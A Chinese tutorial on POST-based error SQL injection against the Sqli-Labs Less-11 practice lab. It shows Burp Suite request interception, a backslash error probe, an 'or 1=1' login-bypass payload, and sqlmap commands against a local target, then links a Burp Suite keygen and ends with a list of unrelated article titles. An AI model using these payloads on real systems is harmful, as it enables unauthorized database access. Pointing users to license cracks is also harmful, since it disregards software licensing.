post基础错误注入
Burpsuite抓取HTTP请求
Burpsuite是一款Web安全测试的利器,集成了几乎Web安全测试中所有需要用到的功能。
运行前提:
需要安装Java https://www.java.com/zh-CN/download/。
出现帮助信息表示安装成功。
截取代理设置:在浏览器中设置局域网代理
如果在设置里面代理服务器怎么都打不开可以用代理工具,花刺代理。用管理员方式打开软件。
配置burpsuite。跟代理一致就行。
然后就是在浏览器导入Burpsuite下的证书,以防止出现不安全连接的情况,详情见下链接
https://zhuanlan.zhihu.com/p/459705624
下载Burpsuite
相关教程,看看就行,不必按照它的来。
https://zhuanlan.zhihu.com/p/478151736
下载Burpsuite
https://portswigger.net/burp/releases
Burpsuite注册机
https://github.com/h3110w0r1d-y/BurpLoaderKeygen
POST基于错误注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然可以借助对应的插件可以完成
修改任务。以Sqli-L _ab Less11为例。
打开Burpsuite进行截取,获取http请求
用户名密码信息在这里被提交到服务器进行查询,我们可以使用 burpsuite 来对数据包进行修改,空白处右击选择 Send to Repeter 或者快捷键 Ctrl + R
Repeater-是一个靠手动操作来补发单独的 HTTP 请求,并分析应用程序响应的工具
我们修改表单中提交的内容进行 SQL 注入
原:uname=123123&passwd=password&submit=Submit
改:uname=123123&passwd=password\&submit=Submit
我们在密码后面加一个反斜杠(转义符),用来转义 passwd 字段的闭合符号,导致SQL语句报错执行失败。
可以看到我们转义了一个单引号,表示当前位置是使用单引号进行闭合的
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''password\' LIMIT 0,1' at line 1
-- 你的SQL语法有错误;查看对应你的MySQL服务器版本的手册,在“password\' LIMIT 0,1' at line 1←'”附近使用正确的语法。
我们通过单引号字符注入来构造一个万能密码
uname=123123&passwd=password’or 1=1--+ &submit=Submit
点击Render 可以查看此web页面
我们可以看出,GET 方式和post 方式 的区别,GET方式 可以明显的 从 URL 中进行注入,POST可以在数据包中进行修改对应的字段来进行 SQL 注入
最后关闭 intercept
sqlmap安全测试
Sqlmap安全测试进行POST注入
注入方式一:
复制Burpsuite截断的HTTP请求数据包到文本文件中
1.使用SqImap -r文件路径 -p指定探测参数。
sqlmap.py -r "D://1.txt" -p passwd
2.列数据库:
sqlmap.py -r "D://1.txt" -p passwd --dbs --batch
注入方式二:自动搜索表单的方式
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试。
sqlmap.py -u "http://127.0.0.1/Less-11/" --forms --batch --fresh-queries –dbs
注入方式三:指定一个参数的方法
--data参数,将数据进行测试
sqlmap.py -u "http://127.0.0.1/Less-11/" --data "uname=1&passwd=1" --batch --fresh-queries –dbs
原文地址:https://www.cnblogs.com/Wesuiliye/p/17229225.html
- Arcgis for Silverlight学习(一)
- ImageButton与Button
- RadioButton、CheckBox与ToggleButton
- Silverlight学习(五)图形标绘
- radio与checkbox
- JavaScript之cookie
- Silverlight学习(四) domainservice动态多条件查询
- Android学习Tabhost、gallery、listview、imageswitcher
- ProgressBar、RatingBar和Spinner控件
- TimePicker控件、帧动画、补间动画
- Android学习之简单的数据存储
- Android学习之菜单
- Android简单登录系统
- android自定义控件
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 无字母数字webshell之提高篇
- Sqoop-1.4.7-部署与常见案例
- Hbase-2.0.0_01_安装部署
- 前端黑魔法之远程控制地址栏
- 攻击LNMP架构Web应用的几个小Tricks
- Hbase-2.0.0_02_常用操作
- phpjiami 数种解密方法
- Hbase-2.0.0_03_Hbase数据模型
- ELK-elasticsearch-6.3.2部署
- Real World CTF 2018 bookhub 总结
- python http.server open redirect vulnerability
- ELK-elasticsearch-6.3.2插件【head,bigdesk,cerebro[kopf]】安装
- ELK-kibana-6.3.2部署
- node.js + postgres 从注入到Getshell
- ELK-logstash-6.3.2部署